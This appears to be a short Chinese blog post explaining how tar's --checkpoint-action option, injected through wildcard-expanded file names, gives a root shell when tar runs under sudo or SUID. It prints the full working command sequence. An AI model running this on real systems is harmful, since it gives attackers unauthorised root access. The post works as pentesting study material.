tar命令提权

tar命令有两个参数 --checkpoint  --checkpoint-action

–checkpoint[=NUMBER] 显示每个Numbers记录的进度消息(默认值为10)

–checkpoint-action=ACTION 在每个checkpoint(检查点)上执行ACTION

这里的‘–checkpoint-action’选项,用于指定到达检查点时将要执行的程序,这将允许我们运行一个任意的命令。因此,选项‘–checkpoint=1’ 和 ‘–checkpoint-action=exec=sh shell.sh’作为命令行选项交给了tar程序。

 

所以当可以通过sudo或suid执行tar命令时,可以通过该方法进行提权

echo "/bin/bash" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
tar cf archive.tar *

当执行tar 命令时,通配符* 会自动被替换成参数,完整的命令就成下面

tar cf archive.tar * --checkpoint=1 --checkpoint-action=exec=sh shell.sh

shell.sh里面又是我们的shell命令,所以自然而然会给我们一个高权限shell,提权成功

posted @ 2021-08-31 15:24  隐念笎  阅读(1162)  评论(0编辑  收藏  举报